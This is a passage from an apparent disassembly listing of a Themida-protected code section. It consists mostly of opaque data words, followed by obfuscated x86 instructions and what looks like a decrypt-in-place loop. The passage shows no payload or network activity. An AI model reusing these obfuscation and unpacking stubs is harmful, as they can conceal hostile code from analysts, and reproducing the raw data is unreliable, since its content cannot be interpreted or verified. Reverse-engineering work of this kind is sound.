		dd 1B986BD9h, 0D196D791h, 6D468AB5h, 0DE92491Eh, 0F3AC2B9Fh
		dd 0B2BFACBEh, 6B49A90Ah, 9E803613h, 5138651Bh,	6DCCA2F1h
		dd 493D1915h, 7BBA6EEDh, 0A9D7C65Eh, 0CC7C4002h, 35236F6Dh
		dd 0D40C8838h, 0C8FFA51Ch, 5F7C58DCh, 0AE4F7FEh, 83C465F4h
		dd 5294BD66h, 7267FCh, 3C51B909h, 0E5015D94h, 6A213F31h
		dd 943C51D8h, 200BE03Ch, 943C51A6h, 0BD70EB45h,	25BC5F7Ch
		dd 7B08EDC0h, 0BDCD39h,	323F0000h, 0DE504479h, 0B66AA95Bh
		dd 72169DBAh, 7F183F33h, 506DCC00h, 63886297h, 0E5ACEFAFh
		dd 3BC7B03h, 293E22CEh,	487D26B5h, 8B50675Ch, 2171BA71h
		dd 0DF39803h, 2366A41Eh, 0F7E44094h, 9EEA1975h,	0F1B1C67Fh
		dd 4D6CB975h, 1CCDBC8Eh, 889E1559h, 0BE01FD1h, 7A411B17h
		dd 942397D6h, 0DD03A8F0h, 3F762758h, 11BCF64Ch,	2E120E9Eh
		dd 956AA512h, 0CEC64035h, 0C6C5h, 74AFC00h, 0E51CC453h
		dd 23BF269h, 0DF1CCF46h, 0F938EC6Bh, 0C93B4745h, 0E574E827h
		dd 0D0470344h, 0EC6BDF1Ah, 5F4AFE33h, 9614AE5Dh, 0F3F06BD9h
		dd 296D729h, 0C81159A5h, 3A52E4Bh, 0DA9108C4h, 32A329A5h
		dd 0F3A43B79h, 47967AB3h, 0B9BD69A2h, 0CECDB99Dh, 176CE015h
		dd 0A01DB00h, 67F6F5F0h, 7646FD94h, 92AE92D3h, 0B40E7DEh
		dd 0EA1FC84Fh, 20836F36h, 6BCDFA5h, 0CC0D7CBh, 0FDA6D9CDh
		dd 0F5E05166h, 7316ED73h, 4CE3BC4Fh, 55093EE5h,	16E81DC6h
		dd 0B561A243h, 90EA9CB1h, 80EFD35Bh, 4419A74Bh,	0EB97D477h
		dd 2FAB4AF9h, 0C8BCF5ACh, 1BC48F6Ch, 0D18872E6h, 500BE01Fh
		dd 25AE6297h, 3, 326D5F97h, 52493D80h, 19B06499h, 4F463A75h
		dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
		dd 0CF554178h, 81E78957h, 4C7h,	4EF8100h, 87000000h, 895C243Ch
		dd 0C8682434h, 8900003Ah, 0DE682434h, 8900000Fh, 0A768242Ch
		dd 8B0615DEh, 0C4832434h, 2C8B5404h, 4C48324h, 18B85051h
		dd 0B91C025Ch, 1C025C20h, 158C129h, 593189E9h, 57242C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 348B5C24h,	0E2895224h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 0FA94CFE9h, 0D28B65FFh
		dd 0EB21B89Ah, 0C5030615h, 123AE0FFh, 0E84F6948h, 18DE7F48h
		dd 72612C14h, 0F945450Dh, 9B736512h, 57E52EA7h,	0F33B0A20h
		dd 3A306567h, 50997DF1h, 0F99D6524h, 8D7D5CEFh,	0FD6D7B49h
		dd 6707423Bh, 29C713B8h, 0FAD4461Eh, 0C8FD254Eh, 1051EFh
		dd 167F6FA6h, 95C35D97h, 84265F82h, 0DE3510F3h,	44FC1BD3h
		dd 0A50822A1h, 72235E4Ah, 0FD3F6156h, 51C72546h, 725C6957h
		dd 71BC1E99h, 739E6557h, 0A5908E0h, 4EEA5C3Bh, 0C08B41D2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0E0C35646h
		dd 0F1E8A44Fh, 0B830F97h, 0F000000h, 588h, 0E2816600h
		dd 0BD83EE72h, 610158Dh, 83097500h, 100095BDh, 19740006h
		dd 0C08B5350h, 3FCB8h, 65858900h, 8D06100Eh, 12B8159Dh
		dd 5BD3FF06h, 95BD8358h, 61000h, 53501774h, 3FCB8h, 65858900h
		dd 8D06100Eh, 12B5049Dh, 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 23B06384h
		dd 0EE927h, 0E8BE0000h,	54348E9Bh, 356584FEh, 0AC5E479h
		dd 55006AFCh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 638954E5h, 60566FA7h, 14E8h, 0C96D7700h
		dd 147D7AE2h, 5B882BAEh, 2CD34301h, 0E366E0DEh,	13E988h
		dd 0EA3A0000h, 6063B42Ah, 0F0DF04A2h, 0C21EB576h, 34EA8415h
		dd 52B75A90h, 8B74B661h, 6AC08BD3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E0E1C356h
		dd 27530B03h, 12E9h, 61E59100h,	83008782h, 0D8EA00D8h
		dd 0A96C6C81h, 838773FFh, 102209BDh, 840F0106h,	43h, 0BD831EB7h
		dd 6102D11h, 34850F00h,	0F000000h, 389h, 42EE8000h, 5840Fh
		dd 0C1BB0000h, 834A76C1h, 103105BDh, 840F0006h,	68h, 0EE9h
		dd 7967B500h, 34EE6E46h, 0A2986D74h, 0E9D1A80Ch, 382h
		dd 0A4B6h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 363072C3h, 1D3064Dh, 6A5E8Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 34406AC3h, 0BB791936h, 468EAE68h, 0D0851D6Eh, 0B32FAEE4h
		dd 2D824E7Dh, 0EE29547Ah, 9A3FF26Fh, 54D6A81Bh,	3D3EFA8Fh
		dd 1ED6A8C7h, 0B78C6BB9h, 0BFD28CA5h, 28D28CBCh, 7CD6A87Ch
		dd 0F50A6B6Ch, 0E169A78Fh
		dd 0D6835D05h, 3ED6A8C7h, 673B29BEh, 31D0BD1Fh,	3EBC7047h
		dd 3ED5402Ah, 60F6A83Eh, 4A5FF6DCh, 7A57ACABh, 3EC1ACE3h
		dd 6890A8E3h, 0A1838C32h, 3EDE415Ah, 79BEA87Ch,	0FD0EE45Fh
		dd 0FE5D0E16h, 0D687A8E5h, 3ED6A8C4h, 6715F1C3h, 3AF2E478h
		dd 3AF2EC79h, 3ED6A861h, 215F97Fh, 0E7279AC5h, 0D40C2C0Ah
		dd 0D786388Dh, 3ED6A8E4h, 3AEBC5F2h, 0AE3E8C58h, 0D685A816h
		dd 3ED6A83Dh, 6515F33Fh, 3AF2F406h, 3AF2EC46h, 3ED6A8FEh
		dd 1A15FBB2h, 1C640703h, 0C7B91823h, 72D7A711h,	2C3E563Bh
		dd 0CED6A88Fh, 0B670D603h, 151C19AFh, 5C8E7665h, 0DF9FB55Ch
		dd 3EC640F4h, 6A58A83Eh, 0E8882047h, 0A99C5B11h, 9D21275h
		dd 6480C300h, 548EF3ABh, 3D3EFDF8h, 1ED6A87Ch, 0B78B6B63h
		dd 0BFD28C73h, 25D28CCBh, 7BD6A8C7h, 0FF406BB6h, 9248F1DBh
		dd 0EF5DF032h, 3ED4A479h, 0BDD9FE3Eh, 3ED6A819h, 0FD22420Eh
		dd 588DF7C8h, 0B5D4A059h, 6FD6C2F9h, 3ED6AB10h,	0FD8F887Ch
		dd 1A9A2167h, 1A92291Bh, 3ED6B28Bh, 0FD87E9C7h,	3769CFA8h
		dd 0C2CB66ABh, 0C29E239Eh, 3ED6AE95h, 0AABF523Eh, 86E3C22Bh
		dd 3ED6A88Eh, 0D684A8ADh, 3ED6A8E0h, 6415F2D1h,	3AF2FC71h
		dd 3AF2ECFDh, 3ED6A827h, 4815FA5Dh, 7F86E6EBh, 333F39D4h
		dd 92D6A8E3h, 0AD3CF52Dh, 2927C0F5h, 7289A6AEh,	0B5B0C86Eh
		dd 3EDB41E8h, 0EE69A88Fh, 99BC161Ch, 0E4FDD82Fh, 5FD7E686h
		dd 0FA6CCE69h, 0E75ACED2h, 0D684A854h, 3ED6A81Ch, 6415F2AFh
		dd 3AF2FC4Eh, 3AF2EC62h, 3ED6A8ECh, 0BF15FABAh,	32C48B11h
		dd 77BB5F86h, 3A175E0Eh, 3E3F2D80h, 3EBCA8C7h, 3ED540B0h
		dd 65F6A8F1h, 625FF33Bh, 7A57AC58h, 3EC3AC1Ah, 6D95A81Fh
		dd 3183334Ch, 548F7E78h, 3D3EF8E3h, 1ED6A8F1h, 0B78E6BA0h
		dd 0BFD28C38h, 2BD28C7Ah, 7ED6A81Fh, 0B5716BDFh, 0EE2F037Dh
		dd 7D1028F6h, 31BE9171h, 3ED6767Dh, 0B5691A7Ch,	3EBCA947h
		dd 3ED5404Fh, 66F6A88Fh, 7A5FF004h, 7A57ACC7h, 3ECBACD5h
		dd 6E96A8F8h, 0F4D539BFh, 0CE3B4D6Bh, 58090CCBh, 77226A0Eh
		dd 3ED6B82Eh, 8C084E3h,	1E810FAAh, 626E957h, 0A60BFBD5h
		dd 3E29290Ch, 3156A81Fh, 3ED6260Dh, 3B59A7C7h, 58D6A8E3h
		dd 49F67B70h, 0D31D2D3Fh, 3ED7AE69h, 89D9A83Eh,	3EAE41C8h
		dd 81D9A88Fh, 3EBF4118h, 3EBCA8E3h, 3ED540A2h, 65F6A8F8h
		dd 625FF3BFh, 7A57AC1Ah, 3ECBAC3Bh, 6D95A88Fh, 0BB008F04h
		dd 771045E8h, 67A4DA55h, 0D686A892h, 3ED6A87Fh,	6615F01Eh
		dd 3AF2EC96h, 3AF2EC0Eh, 3ED6A8DCh, 0A15F8A3h, 1DE977E8h
		dd 0C735A5DCh, 35AF2B1Ah, 2A52A7C1h, 88D6A81Fh,	0F5536F1Fh
		dd 3FD0BD2Ah, 58D6A8E3h, 0D6D7F7Ah, 769188FDh, 3DD763FDh
		dd 896FF863h, 0B3ADF41Fh, 2B258B0Ah, 596B25C1h,	5D0BD12h
		dd 0ED1DC09h, 791F79F7h, 3EBC5D97h, 3ED5406Ch, 64F6A81Fh
		dd 6A5FF24Ch, 7A57ACE3h, 3ECBACC7h, 6C94A8F1h, 0AFA9C63Bh
		dd 0FED666BBh, 5810FB02h, 5D17629Eh, 3ED6AF67h,	82687DC7h
		dd 0B01AED83h, 3E5DA7A0h, 64D6A8F8h, 3E252927h,	0BDC7A0B4h
		dd 2EF4A1A2h, 0BAD9A989h, 3ED6A8AEh, 0D684A889h, 3ED6A8F2h
		dd 6415F2D8h, 3AF2FCF5h, 3AF2ECBFh, 3ED6A80Bh, 0EF15FACDh
		dd 0BD0823A1h, 2EFBB95Eh, 0BBD9A8F7h, 3ED6A8C5h, 0D686A816h
		dd 3ED6A83Dh, 6615F03Fh, 3AF2EC06h, 3AF2EC46h, 3ED6A8F9h
		dd 8C15F8B1h, 41DFE2DDh, 0CBB644BEh, 5F212358h,	7B3D2979h
		dd 3B6B2B14h, 3ED0B8F6h, 3EDD2CECh, 89D9A8F1h, 3E7B4129h
		dd 0CD56A87Ch, 376B2B2Ch, 3FD0B83Dh, 3EB72D80h,	3EBCA8C7h
		dd 3ED540B4h, 61F6A8F1h, 425FF73Bh, 7A57AC58h, 3ECBAC1Ah
		dd 6991A81Fh, 0E13EBA4Ch, 0A1F5FF3h, 0BE5A99EAh, 6D8B2D23h
		dd 0E735299Eh, 0D715F337h, 3ED6A830h, 0AB1B54F7h, 84AB70B9h
		dd 5AC97682h, 6A3FFB82h, 0D6D6A8F1h, 3ED6A8FDh,	4AB22C33h
		dd 3EDE41E3h, 73CA81Fh,	6E10B45h, 638DAE41h, 0D684A889h
		dd 3ED6A8F2h, 6415F2D8h, 3AF2FCF5h, 3AF2ECBFh, 3ED6A80Bh
		dd 6A15FACDh, 3ED6AD2Eh, 76D384E3h, 0D719F0BCh,	3ED6A8F7h
		dd 976F00B8h, 6EC457BCh, 0EC2352FAh, 0B31CF65Bh, 2B38B17Ah
		dd 0CE5B25E5h, 86D0BD03h, 45ECF4E5h, 1FEB2D4Fh,	0F1FDAE2Eh
		dd 0F41F896Fh, 8B0AB3ADh, 25C12B25h, 0BD12596Bh, 0DC0905D0h
		dd 79F70ED1h, 8397791Fh, 0A4F305E9h, 0EDCBBD83h, 74000615h
		dd 858D8D0Dh, 0B806104Eh, 1, 6A40E1FFh,	3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B74EC355h
		dd 639771CAh, 7E9D68Bh,	9D000000h, 0D6715B58h, 0E88312DFh
		dd 5DB812Dh, 664D1AC7h,	8B383EBAh, 837AB2C0h, 10158DBDh
		dd 9750006h, 95BD83h, 74000610h, 8B535019h, 3FCB8C0h, 85890000h
		dd 610132Dh, 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h
		dd 50177400h, 3FCB853h,	85890000h, 610132Dh, 0B51D9D8Dh
		dd 0D3FF0612h, 6A585Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0A6C04AC3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 12C35646h, 54FB5BAAh, 0DB816637h
		dd 7E965CCh, 0B2000000h, 62D159C7h, 0C08B8FA3h,	31E9h
		dd 0ADF0D000h, 74h, 0Ah	dup(0)
		dd 0EDE90000h, 6800000Bh, 615F5EAh, 0FB56A7E9h,	0F6C568FFh
		dd 9DE90615h, 68FFFB56h, 615F8BBh, 0FB5693E9h, 0F9A468FFh
		dd 89E90615h, 68FFFB56h, 615FC51h, 0FB567FE9h, 0FDCB68FFh
		dd 75E90615h, 68FFFB56h, 615FEC1h, 0FB566BE9h, 0D385DAFFh
		dd 5F192F7Eh, 0D88AC332h, 70223A8Bh, 0C680D223h, 58DBAB99h
		dd 0AA1B4802h, 55A8FDB7h, 0B3024F01h, 3BB9E6A0h, 393C5BA8h
		dd 0BF191DDEh, 0B3AB5ACBh, 8BD48201h, 506F293Ah, 6377D201h
		dd 53A8FDA9h, 453857A4h, 711D17C8h, 0E99DC130h,	5A536D1Ah
		dd 68141DD8h, 786B1A69h, 2EC1D01Bh, 0E89411B8h,	486915BCh
		dd 0B82EACBFh, 0F1AC2311h, 3346B142h, 2211B82Fh, 97497D72h
		dd 0C946CCD6h, 4637BE93h, 8B000000h, 5BB6AB5Ah,	7A194D07h
		dd 200EA3CCh, 81A655Ch,	0FE1DD846h, 1BA25C6Fh, 56462E6Fh
		dd 0EC81A67h, 3880C36Fh, 6377DEDh, 8AD5FE9Fh, 11B905E3h
		dd 0E6BC75ECh, 0BE92F680h, 0E471h, 6E631200h, 40610DB4h
		dd 0AC075C6Ah, 99B300B2h, 0C514BBE7h, 65B4DB95h, 0C815BC76h
		dd 0C81D3893h, 0C8451C3Bh, 194D3917h, 8F29BD7Ah, 2C5AA76h
		dd 5E4D024Eh, 5C05B70Fh, 0C88AAD6Bh, 8DE8FB17h,	0AEFB823Ch
		dd 31DDE496h, 91643165h, 0CA398842h, 0C8811A3Dh, 0C43C3B17h
		dd 222021C5h, 0C4CF90C4h, 3A89FD61h, 0DE65CEC9h, 537E1E2h
		dd 3E2D6B5Ch, 0C791DD9h, 0C8761DD7h, 0B4E18DA7h, 867D012Dh
		dd 832CDEF7h, 0D975F380h, 120217CBh, 43FD4E9Bh,	65CA91Ah
		dd 0B4A6174Ch, 0FDDEFCFAh, 0A72AE211h, 99E11h, 0AB5D7200h
		dd 17D107F6h, 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh,	50D3A391h
		dd 0A21340FAh, 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 39E47300h
		dd 0D7711DDEh, 4C065C23h, 0FBB5A617h, 0B3A855A6h, 832CDAF9h
		dd 621A4827h, 45E2E08Bh, 0E9951DD8h, 44F69DEAh,	0EEE811B8h
		dd 0C48953Ch, 45B6335Ah, 0A7169AACh, 0B7AE340Eh, 0D09FBE93h
		dd 3C000000h, 0B74499ADh, 11B85098h, 0C285D1BDh, 0AF2EA3A9h
		dd 442647BBh, 464D075Ch, 0AA29E3F7h, 0C84A1B5Dh, 843E8D17h
		dd 33EDDECFh, 8105298Ch, 4E13C532h, 77041DD8h, 0BCEEA963h
		dd 0CC2C96Ah, 5051FE52h, 0D8239AE2h, 17CAC9B9h,	7201F09Ch
		dd 0A5607205h, 0E390E30Bh, 0BA56054h, 20411501h, 4A0456A3h
		dd 0F8B2A815h, 13070A02h, 9D3336E2h, 8C3h, 0C18E4097h
		dd 6D22DCF4h, 0BE934580h, 6E23D5EFh, 0C4914B7Fh, 0CDFD8070h
		dd 5A6F3E13h, 0CC02F3A0h, 6378451Ah, 69F8FCA9h,	0DE3B7B1Eh
		dd 8C7CDA1Dh, 0EEB7AB5Ah, 5A0CA9F3h, 5F5E3250h,	0C71BEAB3h
		dd 7665580Dh, 0C8CB6E19h, 9A8A17C8h, 0F31CF7C6h, 0E7698C9Fh
		dd 0F8F59FB6h, 0D88C9E28h, 5C84CE97h, 0F7464D07h, 0B8D32AE4h
		dd 268B5F3Ah, 1B839F46h, 3D576023h, 1C480256h, 54A11253h
		dd 9B4746F8h, 0B73DFD2h, 476147B4h, 0B6661DD9h,	0DF99CA17h
		dd 2EFCF310h, 15E9E159h, 373E519Eh, 671711B9h, 3D8E5F46h
		dd 9938EAE2h, 0CD1AB9EDh, 0A53D59D0h, 6D28C132h, 9E4DA45Eh
		dd 35133E51h, 0FCAEA87Eh, 5B4B29D5h, 0F7B87266h, 96B03DAEh
		dd 12A3B641h, 0C2B27E35h, 0ABA2EF8Eh, 104ADF9h,	2E7918D2h
		dd 7E351308h, 0C5CC7ED8h, 27A66078h, 99AD4897h,	0B43B211h
		dd 9EE93A59h, 7E3512FBh, 0B5F6AA5Ah, 91C2732Eh,	0CC398AD7h
		dd 24DFDE90h, 73967709h, 7A471B11h, 6412B163h, 0DF99CA3Bh
		dd 11FB93E0h, 6C737E35h, 15CF04B1h, 0A45E6D40h,	0EE96BC1Dh
		dd 2F1674FFh, 53308445h, 0F7C6C0B9h, 260E4F52h,	9AC82976h
		dd 0D6600BE2h, 897E353Ch, 7ED7269Dh, 0DD0AC5CCh, 2D43A2BFh
		dd 0B340AFE3h, 72146EA4h, 0F79CC5B1h, 146E8AACh, 0DD984772h
		dd 37899F05h, 4588E5Eh,	47D20000h, 9AE2508Bh, 689AD823h
		dd 917D1DD8h, 152DEAB9h, 0EC800AAh, 869B1E33h, 65E4E2E5h
		dd 2A18EE87h, 0F6105B52h, 493AF7D2h, 0C117665Dh, 0ECB87266h
		dd 8C3E98E5h, 99FC97D8h, 93E2D1B5h, 0E8DB843Eh,	0E7EE2A9Bh
		dd 5C888734h, 8E3C2199h, 0BE2D84D0h, 56AFC22Dh,	0F6A628C7h
		dd 41FB50B5h, 0A3509F14h, 28C75694h, 0B2C532C1h, 0A328C756h
		dd 7FE9FF3h, 0DA9C1AD4h, 1EC4F110h, 6CD059Bh, 0AEA10000h
		dd 256A7FCh, 0B3AA1B48h, 6B615401h, 0C919ECB9h,	2F2420Fh
		dd 0C4914B7Fh, 7926E0F1h, 0F3A0528Ch, 4A17D102h, 0CD6C176Ah
		dd 881DDE3Ch, 75C3AEEh,	453A5DAAh, 6B1B17C8h, 14499837h
		dd 0D4772D62h, 0B000000h, 80631948h, 2B9A40DCh,	0B43AA072h
		dd 792BB883h, 7F000000h, 91C21948h, 0A4FBB8D7h,	50E01CEh
		dd 0FDEB2DEh, 0C8C5D264h, 0D5F07D17h, 93EE9C23h, 39C11F34h
		dd 0BAD98D9Bh, 0EFBE786Bh, 13A58A14h, 0B30B5172h, 0DD390C9Eh
		dd 0C5A0C195h, 0AA29E3F8h, 33C01B47h, 17C87E24h, 0A2114531h
		dd 0D88DB755h, 796A171Dh, 0E6969EBFh, 19D48BE7h, 9383E349h
		dd 16D2BEh, 946F0000h, 1A2F4134h, 62B72560h, 0B771624Fh
		dd 0E013B4F6h, 97000000h, 8B621A48h, 0D879DEE0h, 7E5911Dh
		dd 0DC00561Bh, 0E4C45C5Fh, 0B8000005h, 45B8ED9Fh, 0B90C5913h
		dd 509DF2A4h, 0A00D42F4h, 0D1A3F0AAh, 722C1EE1h, 0BF79D01Dh
		dd 792B2392h, 0D08AD92Ch, 25D22183h, 1DDE3E12h,	48F5A543h
		dd 0DC806319h, 0AF617C11h, 0D690C110h, 0DA930CB7h, 0E895E4CCh
		dd 70733CEEh, 0B777DDB5h, 4C66B883h, 0BA000000h, 80631948h
		dd 0BC6B13DCh, 72017221h, 0C8457205h, 0C033E317h, 17C844B1h
		dd 2BB7F8A4h, 0B883B7A5h, 2694h, 1948EC00h, 452433C0h
		dd 453117C8h, 0E2A9611h, 0EB9C5504h, 17C84D4Fh,	0AAF6A89Dh
		dd 83BBAD32h, 0FEBE9EB8h, 48E2FFFFh, 0DC806319h, 8A239278h
		dd 0BADD2AD9h, 9B17C844h, 0BA20C2EBh, 0ABB883B7h, 232h
		dd 3D5CA758h, 1817C851h, 5C67436Ch, 3B5EA906h, 1A17C845h
		dd 3AC7366Ah, 0A62D6E28h, 444BFD57h
		db 0C5h
byte_5AAEED	db 56h,	9Bh, 0EAh	; DATA XREF: Themida_:0054D220o
; ---------------------------------------------------------------------------
		clc
		db	3Eh
		adc	[esi+ebp*4+3E45FF53h], esp
		nop
		and	esi, edx
		retn
; ---------------------------------------------------------------------------
		db 44h,	0C8h, 17h
		dd 0FAEE292h, 5FC80AEh,	45660976h, 0FFEF17C8h, 0BBE49EB2h
		dd 5565BB48h, 92821DD8h, 964F40EBh, 0C231EBDFh,	3B641E33h
		dd 8D479B6Ah, 0DA94C736h, 0BB7566B3h, 713A6614h, 357E1562h
		dd 0F64511B8h, 0F49B4D87h, 0B3657946h, 0A63D5E0Ch, 5CA7580Bh
		dd 11B8333Dh, 0C2436C18h, 2CE7D690h, 1EEA575Dh,	4BE0DB4h
		dd 65560F50h, 0A32C22AAh, 0B4FDAC51h, 48470151h, 0A2548AF7h
		dd 4146F1Bh, 88499105h,	113DB4FDh, 37E9966Dh, 17C7C9h
		dd 8F6C3F14h, 54BD3C58h, 129FC0BFh, 1E69582Ch, 11B806ACh
		dd 0AC667A0Bh, 0EB8ED9F8h, 0E00597CBh, 0AEBBA661h, 0C4946844h
		dd 0A46D089Bh, 8CF7C6BEh, 0BA7A21Eh, 0D2CD728h,	48FF8768h
		dd 7521135Ch, 0EF82ED7Eh, 66FF8767h, 3DB0F5B6h,	0E02D540Eh
		dd 7D6431EBh, 0A956ADD1h, 5977D0Fh, 0EB469AE7h,	49123EF8h
		dd 47943BEBh, 0F9775224h, 0BB3754ABh, 42F40CBEh, 0CBF2AC9Fh
		dd 0B92A731Fh, 14BC2200h, 33ADD6D4h, 0F5000000h, 8CC11A48h
		dd 5B07B3DAh, 46091764h, 0DD6E1DD8h, 0DE8C33EDh, 0ADC00BB2h
		dd 2211B844h, 0BA20F2ABh, 0D2BE93B7h, 191BBCB5h, 3F6031CCh
		dd 0B09Dh, 75CE500h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh
		dd 0CA347794h, 1A2CBA89h, 0C93488A7h, 4480CD17h, 133FEB92h
		dd 73A5123Fh, 3517C938h, 0C4376C26h, 2EA9C833h,	0C0AC17C9h
		dd 582C129Fh, 0FC11C69h, 0C5D41F70h, 9017C92Eh,	68D5B0E4h
		dd 414275F6h, 0F582812Ah, 1DDB7FE0h, 0BD2E8571h, 14AEC12Eh
		dd 0F7A711B6h, 41FB4FB6h, 0F7B1A114h, 2522B01h,	0BC5457DCh
		dd 337h, 6D22D40Bh, 0C18E4880h,	7A27D9F4h, 0F29F518Bh
		dd 4015CF03h, 518104ECh, 0E6FBCA97h, 5086772Ch,	0CF04F19Eh
		dd 0D5C4015h, 0DE40CF62h, 40E8861Dh, 174C065Ch,	0A6FBB5A6h
		dd 4D075CFCh, 2AE4F746h, 75C2D75h, 453A5DAAh, 0B2AC17C8h
		dd 4FD58100h, 44E06FFCh, 897517C8h, 0CB3A89DDh,	8B6DD97h
		dd 8CDB2C67h, 0C84550DFh, 58190517h, 0EFA45E6Dh, 714044EAh
		dd 0D85AFC06h, 69186B1Dh, 60EFC274h, 0F511B830h, 0E9365D09h
		dd 11B83042h, 0FA85F68Dh, 11B83057h, 564D0EFEh,	0C861C79Bh
		dd 5A50BE93h, 98000000h, 8B621A48h, 85378DDCh, 0B80F50FEh
		dd 1DD8452Ah, 87398DDCh, 23115A08h, 0DCED7C73h,	0AEEF9B22h
		dd 43B3DA25h, 352B11B8h, 0ABD284DAh, 0DD2C53FFh, 883A93EEh
		dd 8A095D09h, 1B2BC6DDh, 0B58D2897h, 0BE93B92Fh, 0E9A3B845h
		dd 3AC53CEAh, 11B83817h, 8F0D4E3Eh, 0C3h, 0B6AB5AD3h, 152B3FCh
		dd 0E9F94847h, 0C42FC02Fh, 17C844B5h, 28ABF4A0h, 172F8AD9h
		dd 43923165h, 1A675610h, 0C2700FC9h, 8526D8EDh,	49A1CF20h
		dd 780517C8h, 7723AA5Ch, 0C27CCF36h, 712B208Dh,	9843EF52h
		dd 0C8404CEBh, 491D0917h, 53930D7Ah, 68141DD8h,	0F488B63Bh
		dd 0E55772FDh, 0FEEE17CAh, 561042AFh, 0BE49BA09h, 0BA5739Bh
		dd 24A1CABAh, 0B676742Eh, 0E2E212F3h, 1BD49DFh,	3E910000h
		dd 0F2E6D78Ch, 439A6B38h, 0DBF1C491h, 59897C29h, 0B282F29Fh
		dd 7421DBEFh, 0C9965081h, 6330E2FCh, 0DA874192h, 5DFC87DAh
		dd 0F81DDE42h, 0AB5AAA5Eh, 50025BB6h, 0B2D18531h, 786A5B04h
		dd 2F2491BEh, 48722075h, 0DE8B621Ah, 864F32ECh,	96AD1710h
		dd 58A32041h, 1DD8B8CAh, 71C2C1ADh, 0B7E27502h,	837311B8h
		dd 0B846EDDAh, 0FA8911B8h, 9077371Dh, 0E586DCE6h, 0C94F23BEh
		dd 0B8BE937Fh, 0B7h, 4D075C10h,	29E3F746h, 4A1B5DAAh, 0DE8B17C8h
		dd 0E08E35E7h, 5B1546BFh, 0E48B506h, 0E889355Ch, 8D34EEDDh
		dd 0DD6F062Ch, 4B610E3h, 40848D41h, 5004500Ah, 0B0AC1661h
		dd 0BFB1DD7h, 0C0186556h, 263A8706h, 7A77386Ch,	0B641B0D4h
		dd 17CA3EBCh, 0D7143D5Ah, 0EB657B71h, 0EBC2B2C2h, 0BD924C7Eh
		dd 914B7FEEh, 2BE5F5D0h, 1370F3CDh, 9C3437E2h, 0C7h, 0BD92449Bh
		dd 711ED8F0h, 0CA974984h, 622FE1FBh, 0D0853F93h, 0C111945Ch
		dd 766B5A07h, 0C016E7BCh, 5F74410Eh, 5DECF0A5h,	0DE437F12h
		dd 9078D61Dh, 3B5EA95Ah, 1A17C845h, 8EC4416Ah, 1D2E7FD4h
		dd 5C642E63h, 0F7464D07h, 74752AE4h, 0B847B6CEh, 0F06297DBh
		dd 90DBCF2Eh, 17C85801h, 5FCA854h, 0C857D77Ah, 0CD8E7E17h
		dd 0DE4C59FAh, 6D14001Dh, 0B17ACF1Eh, 87BBD95Ah, 0FAA3EF86h
		dd 4E7DD80Bh, 2293C094h, 0F9887731h, 57A62DE7h,	97434A04h
		dd 0A6F1A2CBh, 846E4F29h, 0F6AF4AB9h, 87762BE5h, 0A6F39A54h
		dd 2AD5FCAEh, 164500B9h, 0A5B6075Ch, 3561134Ah,	0BE192FBEh
		dd 0AED587h, 0F0880B54h, 3, 5CBFEBB8h, 0E3325103h, 4A9736F0h
		dd 0E5B6214h, 338201BBh, 0F5E651Fh, 338201BBh, 19686719h
		dd 1E6B12C4h, 9451702Ah, 2B3C68h, 241C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebp
		mov	ebp, 3AB10C31h
		mov	edx, 40C700B3h
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	247Dh
		mov	[esp], edx
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		mov	bl, 0C0h
		test	eax, 702AFCBh
		rcr	dh, cl
		mov	es, word ptr [ecx-5Fh]
		mov	eax, 615FFADh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		mov	dl, ah
		pop	ds
		pop	edi
		jmp	short loc_5AB4DD
; ---------------------------------------------------------------------------
		db 8Ah
		dd 2A93893Dh, 60FCC827h, 36E17003h, 897EF726h, 6E84Ch
		dd 0F5670000h, 0EDC9EEBDh, 800Fh, 8B580000h, 0DEC081F0h
		dd 0BB000067h, 6EA5FB7Bh, 0F02838BFh, 0EBF7815Bh
		db 31h
; ---------------------------------------------------------------------------


loc_5AB4DD:				; CODE XREF: Themida_:005AB4A1j
		lock pop ebx


loc_5AB4DF:				; CODE XREF: Themida_:loc_5AB539j
		mov	edx, [eax]
		push	esi
		movzx	ecx, cx
		pop	ecx
		add	edx, 6F031A86h
		stc
		xor	edx, 69EC464Dh
		mov	ecx, 57CBD31Ch
		sub	edx, 6058D6D6h
		jp	loc_5AB509
		xor	bx, 0BE81h


loc_5AB509:				; CODE XREF: Themida_:005AB4FEj
		push	edx
		mov	bl, 0B9h
		pop	dword ptr [eax]
		movzx	ebx, di
		sub	eax, 4
		mov	bx, 1F8Fh
		dec	edi
		jnz	loc_5AB52C
		movsx	esi, cx
		jmp	loc_5AB550
; ---------------------------------------------------------------------------
